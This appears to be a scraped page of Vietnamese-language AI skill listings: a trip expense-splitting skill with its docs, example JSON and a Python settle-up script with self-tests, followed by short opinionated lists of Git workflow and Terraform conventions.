    print(json.dumps(r, indent=2) if a.json else to_markdown(r))
    return 1 if r["issues"] else 0


if __name__ == "__main__":
    sys.exit(main())
PythonData AnalysisData Quality+3
F@f
0
Công cụ Chia Chi phí Chuyến đi Nhóm
Kỹ năng

Chia các khoản chi phí chung cho một chuyến đi nhóm, ở ghép hoặc sự kiện: chia đều, chia theo nhóm nhỏ, chia theo trọng số hoặc chia số tiền chính xác, hỗ trợ nhiều loại tiền tệ với tỷ giá xác định và các khoản đã hoàn trả trước đó, tất cả đều tính bằng đơn vị xu nguyên (integer cents) để tổng số tiền luôn khớp hoàn toàn. Tạo bảng số dư của từng người và danh sách ngắn gọn "ai trả cho ai" (tối đa ít hơn tổng số người một giao dịch chuyển tiền). Sử dụng khi bạn bè hỏi "ai nợ ai bao nhiêu?" sau một chuyến đi hoặc một tháng ở ghép. Bao gồm công cụ chia tiền bằng thư viện chuẩn Python có hỗ trợ cờ --self-test.

---
name: group-trip-expense-splitter
description: Chia các khoản chi phí chung cho một chuyến đi nhóm, ở ghép hoặc sự kiện: chia đều, chia theo nhóm nhỏ, chia theo trọng số hoặc chia số tiền chính xác, hỗ trợ nhiều loại tiền tệ với tỷ giá xác định và các khoản đã hoàn trả trước đó, tất cả đều tính bằng đơn vị xu nguyên (integer cents) để tổng số tiền luôn khớp hoàn toàn. Tạo bảng số dư của từng người và danh sách ngắn gọn "ai trả cho ai" (tối đa ít hơn tổng số người một giao dịch chuyển tiền). Sử dụng khi bạn bè hỏi "ai nợ ai bao nhiêu?" sau một chuyến đi hoặc một tháng ở ghép. Bao gồm công cụ chia tiền bằng thư viện chuẩn Python có hỗ trợ cờ --self-test.
---

# Công cụ Chia Chi phí Chuyến đi Nhóm

Bạn giúp một nhóm quyết toán các khoản chi phí chung một cách công bằng và không gây tranh cãi. Bạn thu thập thông tin về những gì đã mua, ai đã trả tiền và khoản chi đó dành cho ai, quy đổi tiền tệ theo tỷ giá đã thống nhất, tính toán số dư của từng người chính xác đến từng xu và đề xuất danh sách ngắn gọn các khoản thanh toán (không bao giờ vượt quá tổng số người trừ một) để mọi người đều sòng phẳng. Bạn giải thích rõ ràng mọi con số để bất kỳ ai trong nhóm cũng có thể kiểm tra lại.

## Các tệp trong kỹ năng này

- `scripts/split_expenses.py` - tính toán số tiền đã chi, phần phải đóng góp và số dư ròng của từng người cùng các giao dịch chuyển tiền quyết toán; hỗ trợ các mục chia đều (equal), chia trong nhóm nhỏ (among), chia theo phần/trọng số (shares), chia chính xác (exact) và chuyển trả trực tiếp (transfer_to) (chỉ sử dụng thư viện chuẩn Python 3)
- `references/splitting-rules.md` - cách chọn phương thức chia cho từng loại chi phí và xử lý các trường hợp ngoại lệ phổ biến
- `references/currency-and-rounding.md` - nên sử dụng tỷ giá hối đoái nào, phí thẻ và cách làm tròn số xu
- `templates/settle-up-summary.md` - bản tóm tắt để dán vào nhóm trò chuyện
- `examples/trip.json` - ví dụ chuyến đi cuối tuần của 4 người có một bữa tối có người vắng mặt, vé sinh viên, đồ uống tính theo số lượng, chi phí bằng USD và GBP, cùng một khoản hoàn trả bằng tiền mặt

## Quy trình thực hiện

### 1. Thu thập các khoản chi phí
Hỏi thông tin về: danh sách các thành viên, loại tiền tệ dùng để quyết toán, và đối với mỗi khoản chi phí: mô tả, số tiền, loại tiền tệ, người đã trả tiền và những người thụ hưởng khoản chi đó. Chấp nhận cả danh sách lộn xộn hoặc hóa đơn rồi chuyển đổi thành cấu trúc JSON như trong `examples/trip.json`. Hỏi về các khoản tiền đã trao tay trước đó (tiền mặt đưa trực tiếp, các khoản trả trước một phần) và ghi nhận chúng dưới dạng `transfer_to`.

### 2. Chọn cách chia cho từng khoản mục
Mặc định là chia đều cho tất cả mọi người. Sử dụng `among` cho các chi phí chỉ một số người tham gia, `shares` cho trường hợp "Jonas uống hai ly còn Maya uống một ly", và `exact` cho các hóa đơn tách riêng từng món. Xem `references/splitting-rules.md` và xác nhận lại các khoản mục chưa rõ ràng với nhóm thay vì tự đoán.

### 3. Thiết lập tỷ giá tiền tệ
Thống nhất một tỷ giá cho mỗi loại tiền tệ (tỷ giá trên sao kê thẻ hoặc tỷ giá công bố vào một ngày xác định) và đưa vào trường `rates` theo quy ước "1 đơn vị = X đơn vị tiền tệ quyết toán". Xem `references/currency-and-rounding.md`.

### 4. Chạy công cụ chia tiền
```
python3 scripts/split_expenses.py examples/trip.json
python3 scripts/split_expenses.py trip.json --json > settle.json
python3 scripts/split_expenses.py --self-test
```
Thoát với mã lỗi 2 kèm thông báo rõ ràng nếu gặp tên người lạ chưa khai báo, thiếu tỷ giá, số tiền âm hoặc các khoản chia chính xác (`exact`) có tổng không khớp với hóa đơn.

### 5. Chia sẻ kết quả
Điền vào mẫu `templates/settle-up-summary.md`: tổng chi tiêu, số tiền đã trả/phần đóng góp/số dư ròng của từng người, danh sách các giao dịch chuyển tiền và tỷ giá đã áp dụng. Giữ nội dung đủ ngắn gọn để gửi vào nhóm trò chuyện và đề nghị cung cấp bảng chi tiết toàn bộ chi phí nếu có người yêu cầu.

## Quy tắc

- Không bao giờ tự đoán xem những ai cùng chia sẻ một khoản chi phí; hãy hỏi lại, hoặc chia đều và nêu rõ điều đó.
- Tổng số tiền phải khớp chính xác đến từng xu; nêu rõ ai là người nhận các xu lẻ do làm tròn.
- Hiển thị rõ tỷ giá hối đoái và nguồn của chúng; không âm thầm tự tra cứu tỷ giá trực tuyến.
- Giữ thái độ trung lập: chỉ trình bày các con số, không đưa ra phán xét về việc ai tiêu nhiều hơn.
- Không xử lý thông tin xác thực thanh toán hoặc thực hiện chuyển tiền; chỉ liệt kê ai cần trả cho ai.
FILE:references/splitting-rules.md
# Quy tắc Chia tiền và Các Trường hợp Ngoại lệ

## Chọn phương thức chia
| Tình huống | Phương thức | Ví dụ |
|---|---|---|
| Tất cả mọi người đều sử dụng | equal (mặc định) | chỗ ở, thuê xe, mua đồ tạp hóa dùng chung |
| Chỉ một số người tham gia | `among` | bữa tối có một người không ăn, tour tham quan chỉ hai người đi |
| Mức độ sử dụng không đồng đều cho cùng một thứ | `shares` | đồ uống, số đêm lưu trú (3 đêm so với 2 đêm), tiền xăng theo quãng đường |
| Hóa đơn tách từng món hoặc mức giá khác nhau | `exact` | vé sinh viên so với vé người lớn, các món gọi riêng trên thực đơn |
| Tiền đã trao tay trước đó | `transfer_to` | tiền mặt trả lại, khoản chuyển khoản ngân hàng trong chuyến đi |

## Các trường hợp ngoại lệ
- **Có người đến muộn hoặc về sớm.** Sử dụng `shares` tính theo số đêm cho chi phí chỗ ở (ví dụ: 3, 3, 2, 3).
- **Cặp đôi hoặc gia đình gộp chung làm một đầu thanh toán.** Có thể liệt kê họ như một người duy nhất, hoặc giữ riêng từng người và chia cho trẻ em phần nhỏ hơn theo thỏa thuận của nhóm.
- **Tiền đặt cọc và hoàn tiền.** Số tiền phải luôn là số dương, vì vậy hãy trừ khoản tiền hoàn lại vào chi phí gốc ban đầu. Nếu tiền hoàn lại được chuyển cho một người khác không phải người trả tiền ban đầu, hãy thêm một mục `transfer_to` từ người trả tiền ban đầu sang người nhận tiền hoàn với đúng số tiền đó, để khoản tiền họ đang giữ được tính vào phần của họ.
- **Tiền boa (tips) và phí dịch vụ.** Chia theo đúng tỷ lệ của hóa đơn mà chúng đi kèm.
- **Quà tặng cho một thành viên (bữa tối sinh nhật).** Sử dụng `among` gồm tất cả mọi người ngoại trừ nhân vật chính được tặng.
- **Quỹ chung (shared kitty / common pot).** Coi người giữ quỹ là người trả tiền cho mọi thứ mua bằng quỹ đó và thêm mỗi khoản đóng góp vào quỹ dưới dạng một mục `transfer_to` chuyển cho người giữ quỹ.
- **Đồ dùng cá nhân nằm chung trong hóa đơn tập thể.** Tách hóa đơn thành hai mục: phần dùng chung (chia đều) và phần cá nhân (`exact` tính riêng cho người đó).

## Kiểm tra tính công bằng trước khi chia sẻ kết quả
1. Tổng phần đóng góp của tất cả mọi người bằng đúng tổng số tiền đã chi.
2. Mọi khoản chi phí đều có người trả tiền là thành viên thực sự tham gia.
3. Phần đóng góp của bất kỳ ai cũng không bao gồm những thứ họ đã từ chối rõ ràng từ trước.
4. Cả nhóm đã đồng thuận về tỷ giá và mọi khoản chia không đồng đều.
FILE:references/currency-and-rounding.md
# Tiền tệ và Làm tròn

## Chọn tỷ giá hối đoái
- **Tốt nhất:** tỷ giá trên sao kê thẻ hoặc ngân hàng của người trả tiền cho giao dịch đó, bao gồm cả phí giao dịch ngoại tệ (nếu có), vì đó là số tiền thực tế họ đã phải trả.
- **Đơn giản:** một tỷ giá công bố chung (ví dụ: tỷ giá tham chiếu của ngân hàng trung ương) vào một ngày xác định áp dụng cho toàn bộ chuyến đi.
- **Tiền mặt đổi tại quầy thu đổi ngoại tệ:** tỷ giá thực tế lúc mua số tiền mặt đó.
Viết tỷ giá theo dạng "1 đơn vị ngoại tệ = X đơn vị tiền tệ quyết toán": `"USD": 0.92` nghĩa là 1 USD = 0.92 EUR.

## Các loại phí
- Phí giao dịch ngoại tệ qua thẻ (thường từ 1-3%) là chi phí thực tế phát sinh của khoản mua sắm chung; hãy cộng chúng vào số tiền chi phí nếu cả nhóm đồng ý.
- Phí chuyển tiền khi quyết toán (phí chuyển khoản ngân hàng hoặc ứng dụng) thường do người gửi tự chịu.

## Làm tròn đến hàng xu (cent)
1. Mỗi khoản chi phí được quy đổi và làm tròn một lần (làm tròn nửa lên - half up) thành số xu nguyên.
2. Số tiền được chia theo trọng số; mỗi người nhận phần xu nguyên từ phần chia chính xác của mình.
3. Các xu lẻ còn dư (tối đa mỗi người một xu) sẽ được phân bổ cho những người có phần thập phân dư lớn nhất, nếu bằng nhau thì xét theo thứ tự bảng chữ cái của tên.
Cách này giúp mọi khoản chi phí đều khớp chính xác đến từng xu và kết quả luôn nhất quán khi chạy lại. Trong suốt một chuyến đi, chênh lệch làm tròn của mỗi người tối đa chỉ vài xu.

## Quyết toán bằng nhiều loại tiền tệ
Hãy quyết toán bằng một loại tiền tệ duy nhất nếu có thể. Nếu ai đó buộc phải thanh toán bằng một loại tiền tệ khác, hãy quy đổi khoản chuyển tiền cuối cùng của họ theo tỷ giá mà cả hai bên chấp nhận và ghi chú rõ trong bản tóm tắt.
FILE:templates/settle-up-summary.md
# Quyết toán chi phí - <tên chuyến đi hoặc sự kiện>

**Ngày:** <ngày tháng>  **Thành viên:** <danh sách tên>  **Tiền tệ quyết toán:** <loại tiền tệ>
**Tổng chi tiêu:** <số tiền> qua <n> khoản chi  **Tỷ giá áp dụng:** <1 USD = 0.92 EUR (sao kê thẻ), ...>

## Bảng số dư
| Thành viên | Đã chi | Phần đóng góp | Số dư ròng (+ được nhận lại / - cần trả thêm) |
|---|---|---|---|
| | | | |

## Ai trả cho ai
- <tên> trả cho <tên> <số tiền>
- <tên> trả cho <tên> <số tiền>

## Ghi chú
- Các khoản chia không đều: <bữa tối không có Leo, vé sinh viên, đồ uống tính theo số lượng>
- Xu lẻ làm tròn được tính vào phần của: <danh sách tên>
- Đã thanh toán trước trong chuyến đi: <tiền mặt hoặc chuyển khoản>

## Tin nhắn gửi nhóm trò chuyện
> Tổng kết chi phí chuyến đi đã có rồi đây! Chúng ta đã chi tổng cộng <total> cùng nhau. Để quyết toán: <transfer 1>; <transfer 2>; <transfer 3>. Bảng kê chi tiết nằm ở tin nhắn bên dưới. Nếu thấy có gì chưa chuẩn thì báo lại trước ngày <date> nhé.
FILE:examples/trip.json
{
  "trip": "Lisbon long weekend, 4 friends",
  "currency": "EUR",
  "rates": {"USD": 0.92, "GBP": 1.17},
  "people": ["Maya", "Jonas", "Priya", "Leo"],
  "expenses": [
    {"desc": "Apartment, 3 nights", "amount": 486.00, "paid_by": "Maya"},
    {"desc": "Airport taxi", "amount": 38.50, "paid_by": "Jonas"},
    {"desc": "Groceries for breakfasts", "amount": 61.27, "paid_by": "Priya"},
    {"desc": "Seafood dinner (Leo skipped)", "amount": 142.80, "paid_by": "Jonas", "among": ["Maya", "Jonas", "Priya"]},
    {"desc": "Sintra day tour, booked online", "amount": 196.00, "currency": "USD", "paid_by": "Leo"},
    {"desc": "Fado show (Priya and Leo have student tickets)", "amount": 84.00, "paid_by": "Maya", "exact": {"Maya": 25, "Jonas": 25, "Priya": 17, "Leo": 17}},
    {"desc": "Wine and pastel de nata tasting", "amount": 72.00, "paid_by": "Priya", "shares": {"Maya": 1, "Jonas": 2, "Priya": 1, "Leo": 2}},
    {"desc": "Tram and metro cards", "amount": 26.40, "currency": "GBP", "paid_by": "Leo"},
    {"desc": "Cash Jonas already handed Maya on day 2", "amount": 30.00, "paid_by": "Jonas", "transfer_to": "Maya"}
  ]
}
FILE:scripts/split_expenses.py
#!/usr/bin/env python3
"""Group trip expense splitter and settle-up planner (Python 3 standard library only).

Input JSON:
{
  "currency": "EUR",                         # settlement currency
  "rates": {"USD": 0.92, "TRY": 0.027},      # 1 unit of key = rate units of settlement currency
  "people": ["Ana", "Ben", "Cem", "Dee"],
  "expenses": [
    {"desc": "Villa", "amount": 1200, "paid_by": "Ana"},                                 # equal, everyone
    {"desc": "Dinner", "amount": 180, "paid_by": "Ben", "among": ["Ana", "Ben", "Cem"]},   # equal, subset
    {"desc": "Boat", "amount": 300, "currency": "USD", "paid_by": "Cem",
     "shares": {"Ana": 2, "Ben": 1, "Cem": 1}},                                         # weighted
    {"desc": "Museum", "amount": 54, "paid_by": "Dee", "exact": {"Dee": 18, "Ana": 36}},  # exact amounts
    {"desc": "Ana pays Ben back", "amount": 50, "paid_by": "Ana", "transfer_to": "Ben"}   # direct repayment
  ]
}
All math is done in integer cents. Rounding remainders go to participants in a fixed order (largest
fractional part first, then name), so totals always match to the cent and results are reproducible.
Settle-up uses a greedy largest-creditor / largest-debtor match, which needs at most n-1 transfers.

Usage:
  python3 split_expenses.py trip.json
  python3 split_expenses.py trip.json --json
  python3 split_expenses.py --self-test
Exit code: 0 OK, 2 bad input.
"""
import argparse
import json
import sys
from decimal import Decimal, ROUND_HALF_UP


class SplitError(ValueError):
    pass


def to_cents(amount, rate=Decimal(1)):
    try:
        d = Decimal(str(amount)) * Decimal(str(rate)) * 100
    except Exception:
        raise SplitError(f"bad amount {amount!r}")
    return int(d.quantize(Decimal(1), rounding=ROUND_HALF_UP))


def fmt(cents, cur):
    sign = "-" if cents < 0 else ""
    return f"{sign}{abs(cents) // 100:,}.{abs(cents) % 100:02d} {cur}"


def allocate(total, weights):
    """Split integer total by weights {name: weight}; largest-remainder method, ties by name."""
    wsum = sum(weights.values())
    if wsum <= 0:
        raise SplitError("weights must sum to more than zero")
    raw = {n: Decimal(total) * Decimal(str(w)) / Decimal(str(wsum)) for n, w in weights.items()}
    base = {n: int(v) for n, v in raw.items()}
    left = total - sum(base.values())
    order = sorted(weights, key=lambda n: (-(raw[n] - base[n]), n))
    for n in order[:left]:
        base[n] += 1
    return base


def compute(data):
    cur = data.get("currency") or "EUR"
    rates = {k.upper(): v for k, v in (data.get("rates") or {}).items()}
    people = data.get("people") or []
    if len(people) < 2:
        raise SplitError("need at least two people")
    if len(set(people)) != len(people):
        raise SplitError("duplicate names in people")
    known = set(people)
    paid = {p: 0 for p in people}
    owed = {p: 0 for p in people}
    lines = []
    for i, e in enumerate(data.get("expenses") or [], start=1):
        desc = e.get("desc") or f"expense {i}"
        payer = e.get("paid_by")
        if payer not in known:
            raise SplitError(f"{desc}: paid_by {payer!r} is not in people")
        ecur = (e.get("currency") or cur).upper()
        if ecur == cur.upper():
            rate = 1
        elif ecur in rates:
            rate = rates[ecur]
        else:
            raise SplitError(f"{desc}: no rate for {ecur} -> {cur}; add it to 'rates'")
        total = to_cents(e.get("amount"), rate)
        if total <= 0:
            raise SplitError(f"{desc}: amount must be positive")
        modes = [k for k in ("among", "shares", "exact", "transfer_to") if k in e]
        if len(modes) > 1:
            raise SplitError(f"{desc}: use only one of among / shares / exact / transfer_to")
        if "transfer_to" in e:
            to = e["transfer_to"]
            if to not in known or to == payer:
                raise SplitError(f"{desc}: transfer_to must be another person")
            split = {to: total}
        elif "exact" in e:
            ex = e["exact"]
            for n in ex:
                if n not in known:
                    raise SplitError(f"{desc}: unknown person {n!r}")
            split = {n: to_cents(v, rate) for n, v in ex.items()}
            diff = total - sum(split.values())
            if abs(diff) > len(split):  # allow only currency-conversion rounding
                raise SplitError(f"{desc}: exact amounts add up to {fmt(sum(split.values()), cur)}, not {fmt(total, cur)}")
            if diff:
                split[sorted(split)[0]] += diff
        elif "shares" in e:
            sh = e["shares"]
            for n, w in sh.items():
                if n not in known:
                    raise SplitError(f"{desc}: unknown person {n!r}")
                if float(w) < 0:
                    raise SplitError(f"{desc}: negative share for {n}")
            split = allocate(total, {n: w for n, w in sh.items() if float(w) > 0})
        else:
            among = e.get("among") or people
            for n in among:
                if n not in known:
                    raise SplitError(f"{desc}: unknown person {n!r}")
            split = allocate(total, {n: 1 for n in among})
        paid[payer] += total
        for n, c in split.items():
            owed[n] += c
        lines.append({"desc": desc, "paid_by": payer, "amount": total, "original": f"{e.get('amount')} {ecur}",
                      "split": split, "kind": modes[0] if modes else "equal"})
    net = {p: paid[p] - owed[p] for p in people}
    assert sum(net.values()) == 0, "internal error: balances do not sum to zero"
    return {"currency": cur, "people": people, "expenses": lines, "paid": paid, "owed": owed,
            "net": net, "transfers": settle(net),
            "total_spent": sum(l["amount"] for l in lines if l["kind"] != "transfer_to")}


def settle(net):
    cred = sorted([[c, n] for n, c in net.items() if c > 0], key=lambda x: (-x[0], x[1]))
    debt = sorted([[-c, n] for n, c in net.items() if c < 0], key=lambda x: (-x[0], x[1]))
    out = []
    while cred and debt:
        amt = min(cred[0][0], debt[0][0])
        out.append({"from": debt[0][1], "to": cred[0][1], "amount": amt})
        cred[0][0] -= amt
        debt[0][0] -= amt
        cred = sorted([x for x in cred if x[0] > 0], key=lambda x: (-x[0], x[1]))
        debt = sorted([x for x in debt if x[0] > 0], key=lambda x: (-x[0], x[1]))
    return out


def to_markdown(r):
    c = r["currency"]
    lines = ["# Trip settle-up", "", f"Total spent: {fmt(r['total_spent'], c)} across {len([e for e in r['expenses'] if e['kind'] != 'transfer_to'])} expenses", "",
             "## Expenses", "| # | Expense | Paid by | Amount | Split |", "|---|---|---|---|---|"]
    for i, e in enumerate(r["expenses"], 1):
        split = ", ".join(f"{n} {fmt(v, c)}" for n, v in sorted(e["split"].items()))
        conv = "" if e["original"].endswith(c.upper()) else f" ({e['original']})"
        lines.append(f"| {i} | {e['desc']} | {e['paid_by']} | {fmt(e['amount'], c)}{conv} | {e['kind']}: {split} |")
    lines += ["", "## Balances", "| Person | Paid | Share | Net |", "|---|---|---|---|"]
    for p in r["people"]:
        lines.append(f"| {p} | {fmt(r['paid'][p], c)} | {fmt(r['owed'][p], c)} | {fmt(r['net'][p], c)} |")
    lines += ["", "## Who pays whom"]
    if not r["transfers"]:
        lines.append("Everyone is even.")
    lines += [f"- {t['from']} pays {t['to']} {fmt(t['amount'], c)}" for t in r["transfers"]]
    return "\n".join(lines)


def self_test():
    cases = []

    def ok(name, cond):
        cases.append((name, bool(cond)))

    base = {"currency": "EUR", "people": ["Ana", "Ben", "Cem"]}
    r = compute(dict(base, expenses=[{"desc": "Taxi", "amount": 10, "paid_by": "Ana"}]))
    ok("10.00 split three ways sums exactly", sum(r["owed"].values()) == 1000 and sorted(r["owed"].values()) == [333, 333, 334])
    ok("remainder cent goes to first name on tie", r["owed"]["Ana"] == 334)
    ok("two transfers to the payer", sorted((t["from"], t["amount"]) for t in r["transfers"]) == [("Ben", 333), ("Cem", 333)])
    r = compute(dict(base, expenses=[{"desc": "A", "amount": 30, "paid_by": "Ana"}, {"desc": "B", "amount": 30, "paid_by": "Ben"}, {"desc": "C", "amount": 30, "paid_by": "Cem"}]))
    ok("equal spending means no transfers", r["transfers"] == [])
    r = compute(dict(base, expenses=[{"desc": "Dinner", "amount": 90, "paid_by": "Ben", "among": ["Ana", "Ben"]}]))
    ok("subset split excludes others", r["owed"]["Cem"] == 0 and r["net"]["Ana"] == -4500)
    r = compute(dict(base, expenses=[{"desc": "Boat", "amount": 100, "paid_by": "Cem", "shares": {"Ana": 2, "Ben": 1, "Cem": 1}}]))
    ok("weighted shares", r["owed"] == {"Ana": 5000, "Ben": 2500, "Cem": 2500})
    r = compute(dict(base, expenses=[{"desc": "Tickets", "amount": 50, "paid_by": "Ana", "exact": {"Ben": 20, "Cem": 30}}]))
    ok("exact amounts", r["net"] == {"Ana": 5000, "Ben": -2000, "Cem": -3000})
    r = compute(dict(base, rates={"USD": 0.9}, expenses=[{"desc": "Gas", "amount": 30, "currency": "USD", "paid_by": "Ben"}]))
    ok("currency conversion to cents", r["paid"]["Ben"] == 2700 and sum(r["owed"].values()) == 2700)
    r = compute(dict(base, expenses=[{"desc": "Hotel", "amount": 300, "paid_by": "Ana"}, {"desc": "Payback", "amount": 100, "paid_by": "Ben", "transfer_to": "Ana"}]))
    ok("direct repayment reduces debt", r["net"] == {"Ana": 10000, "Ben": 0, "Cem": -10000})
    ok("repayment not counted as spending", r["total_spent"] == 30000)
    big = {"currency": "EUR", "people": ["A", "B", "C", "D", "E"],
           "expenses": [{"desc": f"x{i}", "amount": 17.33 * (i + 1), "paid_by": "ABCDE"[i % 5], "among": list("ABCDE"[: 2 + i % 4])} for i in range(12)]}
    r = compute(big)
    ok("balances sum to zero", sum(r["net"].values()) == 0)
    ok("at most n-1 transfers", len(r["transfers"]) <= 4)
    after = dict(r["net"])
    for t in r["transfers"]:
        after[t["from"]] += t["amount"]
        after[t["to"]] -= t["amount"]
    ok("transfers settle everyone to zero", all(v == 0 for v in after.values()))
    ok("deterministic output", compute(big)["transfers"] == r["transfers"])
    bad_inputs = [
        (dict(base, expenses=[{"desc": "X", "amount": 10, "paid_by": "Zed"}]), "unknown payer rejected"),
        (dict(base, expenses=[{"desc": "X", "amount": 10, "currency": "GBP", "paid_by": "Ana"}]), "missing rate rejected"),
        (dict(base, expenses=[{"desc": "X", "amount": 10, "paid_by": "Ana", "exact": {"Ben": 3}}]), "exact mismatch rejected"),
        (dict(base, expenses=[{"desc": "X", "amount": -5, "paid_by": "Ana"}]), "negative amount rejected"),
        ({"people": ["Solo"], "expenses": []}, "single person rejected"),
    ]
    for data, label in bad_inputs:
        try:
            compute(data)
            ok(label, False)
        except SplitError:
            ok(label, True)
    ok("markdown has settle-up section", "## Who pays whom" in to_markdown(compute(dict(base, expenses=[{"desc": "Taxi", "amount": 10, "paid_by": "Ana"}]))))
    passed = sum(c for _, c in cases)
    for name, c in cases:
        print(("PASS " if c else "FAIL ") + name)
    print(f"{passed}/{len(cases)} passed")
    return 0 if passed == len(cases) else 1


def main(argv=None):
    ap = argparse.ArgumentParser(description="Split shared trip expenses and plan a short list of settle-up transfers.")
    ap.add_argument("file", nargs="?", help="trip JSON file, or '-' for stdin")
    ap.add_argument("--json", action="store_true")
    ap.add_argument("--self-test", action="store_true")
    a = ap.parse_args(argv)
    if a.self_test:
        return self_test()
    if not a.file:
        ap.error("trip JSON required (or --self-test)")
    try:
        data = json.load(sys.stdin if a.file == "-" else open(a.file, encoding="utf-8"))
        r = compute(data)
    except (OSError, ValueError) as e:
        print(f"error: {e}", file=sys.stderr)
        return 2
    print(json.dumps(r, indent=2, ensure_ascii=False) if a.json else to_markdown(r))
    return 0


if __name__ == "__main__":
    sys.exit(main())
Personal FinanceBudgetingTravel+3
F@f
0
Quy trình Git taste
Văn bản

Các ưu tiên mang tính định hướng rõ ràng cho việc phân nhánh, commit, tạo pull request và phát hành trong quy trình làm việc Git dựa trên nhánh chính (trunk-based).

# Phong cách (taste) quy trình làm việc Git của một đội ngũ phát triển theo mô hình trunk-based
- Làm việc theo mô hình trunk-based: tạo các nhánh có vòng đời ngắn tách ra từ nhánh main và gộp (merge) lại trong vòng hai ngày. Độ tin cậy: 0.90
- Đặt tên nhánh theo cấu trúc <type>/<short-topic>, ví dụ: fix/login-redirect. Độ tin cậy: 0.75
- Viết tiêu đề commit ở thức mệnh lệnh (imperative mood) và giữ độ dài dưới 72 ký tự. Độ tin cậy: 0.90
- Sử dụng các tiền tố theo chuẩn Conventional Commits (feat, fix, chore, docs, refactor) để có thể tự động tạo nhật ký thay đổi (changelog). Độ tin cậy: 0.80
- Giải thích lý do tại sao thay đổi được thực hiện trong phần thân (body) của commit, chứ không nhắc lại những gì bản so sánh (diff) đã hiển thị. Độ tin cậy: 0.85
- Giữ cho mỗi commit luôn có thể biên dịch/build thành công và chỉ tập trung vào một thay đổi hợp lý duy nhất. Độ tin cậy: 0.85
- Rebase nhánh của bạn lên trên nhánh main thay vì merge nhánh main vào nhánh của bạn. Độ tin cậy: 0.80
- Thực hiện squash-merge đối với các pull request để nhánh main chỉ có một commit duy nhất cho mỗi thay đổi. Độ tin cậy: 0.75
- Giữ cho các pull request có dưới khoảng 400 dòng thay đổi; chia nhỏ các công việc lớn hơn thành chuỗi các PR xếp chồng nhau (stacked PRs). Độ tin cậy: 0.85
- Đưa phần mô tả ngắn gọn gồm làm gì (what), tại sao (why) và cách kiểm thử (how-to-test) vào mọi phần mô tả của pull request. Độ tin cậy: 0.85
- Yêu cầu tối thiểu một đánh giá chấp thuận (approving review) và hệ thống CI báo xanh trước khi gộp vào nhánh main. Độ tin cậy: 0.90
- Bảo vệ nhánh main: không cho phép đẩy mã trực tiếp (direct push) và không cho phép ép đẩy mã (force push). Độ tin cậy: 0.95
- Chỉ thực hiện force push trên nhánh của chính bạn và luôn đi kèm cờ --force-with-lease. Độ tin cậy: 0.90
- Ẩn các tính năng chưa hoàn thiện đằng sau các cờ tính năng (feature flags) thay vì duy trì các nhánh tính năng kéo dài. Độ tin cậy: 0.85
- Gắn thẻ (tag) các bản phát hành bằng thẻ phiên bản ngữ nghĩa (semantic version) như v1.4.2 trên nhánh main. Độ tin cậy: 0.85
- Không bao giờ commit thông tin bí mật (secrets); hãy chạy công cụ quét bí mật trong cả pre-commit hook và hệ thống CI. Độ tin cậy: 0.95
- Giữ cho các pre-commit hook chạy nhanh (dưới năm giây) và để các bước kiểm tra tốn thời gian cho hệ thống CI. Độ tin cậy: 0.80
- Sử dụng tệp .gitattributes để chuẩn hóa ký tự xuống dòng (line endings) và đánh dấu các tệp được sinh tự động. Độ tin cậy: 0.70
- Lưu trữ các tệp nhị phân dung lượng lớn trong Git LFS hoặc dịch vụ lưu trữ đối tượng (object storage), không bao giờ đưa trực tiếp vào kho mã nguồn (repo). Độ tin cậy: 0.85
- Sử dụng git bisect kết hợp với kịch bản kiểm thử tự động để truy tìm nguyên nhân gây lỗi hồi quy (regressions). Độ tin cậy: 0.70
- Hoàn tác (revert) một commit gây lỗi trên nhánh main trước tiên rồi mới tiến hành điều tra nguyên nhân sau. Độ tin cậy: 0.85
- Thêm tệp CODEOWNERS để hệ thống tự động gửi yêu cầu đánh giá đến đúng người phụ trách. Độ tin cậy: 0.75
- Tự động xóa các nhánh sau khi chúng đã được gộp thành công. Độ tin cậy: 0.90
Best PracticesWorkflowCode Review+2
F@f
0
Phong cách Terraform taste
Văn bản

Các quy ước mang tính định hướng rõ ràng để viết, đánh giá và áp dụng cơ sở hạ tầng dưới dạng mã (IaC) bằng Terraform một cách an toàn.

# Phong cách (taste) Terraform của một kỹ sư nền tảng đám mây
- Ghim cố định (pin) phiên bản Terraform và mọi phiên bản provider, đồng thời commit tệp .terraform.lock.hcl. Độ tin cậy: 0.95
- Lưu trữ trạng thái (state) từ xa có bật cơ chế khóa (locking), ví dụ như dùng S3 kết hợp với DynamoDB hoặc Terraform Cloud. Độ tin cậy: 0.95
- Tách biệt trạng thái theo từng môi trường và từng hệ thống để một lệnh apply không bao giờ tác động đến toàn bộ mọi thứ. Độ tin cậy: 0.90
- Sử dụng các thư mục riêng biệt cho từng môi trường thay vì dùng Terraform workspaces cho môi trường prod và staging. Độ tin cậy: 0.75
- Giữ cho các module nhỏ gọn và chỉ tập trung vào một mối quan tâm duy nhất, chẳng hạn như mạng (network) hoặc cơ sở dữ liệu (database). Độ tin cậy: 0.85
- Ghim cố định nguồn module vào một thẻ (tag) hoặc phiên bản cụ thể, không bao giờ trỏ vào một nhánh (branch) đang thay đổi. Độ tin cậy: 0.90
- Cung cấp kiểu dữ liệu (type) và mô tả (description) cho mọi biến, đồng thời thêm các khối xác thực (validation blocks) cho các đầu vào có rủi ro. Độ tin cậy: 0.85
- Chỉ xuất (expose) những đầu ra (outputs) mà các stack khác thực sự sử dụng. Độ tin cậy: 0.70
- Đặt tên tài nguyên theo kiểu snake_case và tránh lặp lại loại tài nguyên trong tên. Độ tin cậy: 0.75
- Áp dụng bộ thẻ (tag) dùng chung (owner, environment, cost center) thông qua cấu hình default_tags của provider. Độ tin cậy: 0.85
- Ưu tiên dùng for_each hơn count để việc thêm hoặc xóa một mục không làm xáo trộn địa chỉ tài nguyên. Độ tin cậy: 0.90
- Sử dụng các khối moved khi tái cấu trúc mã (refactor) thay vì chạy lệnh terraform state mv thủ công. Độ tin cậy: 0.85
- Đưa các tài nguyên hiện có vào quản lý bằng các khối import được đánh giá (review) thông qua pull request. Độ tin cậy: 0.80
- Chạy terraform fmt, validate và tflint trong hệ thống CI trên mọi pull request. Độ tin cậy: 0.90
- Đăng kết quả đầu ra của lệnh terraform plan dưới dạng bình luận trong pull request để thuận tiện cho việc đánh giá. Độ tin cậy: 0.85
- Chỉ chạy lệnh apply từ hệ thống CI bằng tệp plan đã được duyệt, không bao giờ chạy trực tiếp từ máy tính cá nhân. Độ tin cậy: 0.85
- Xác thực hệ thống CI với đám mây bằng OIDC thay vì sử dụng các khóa truy cập (access keys) tồn tại lâu dài. Độ tin cậy: 0.90
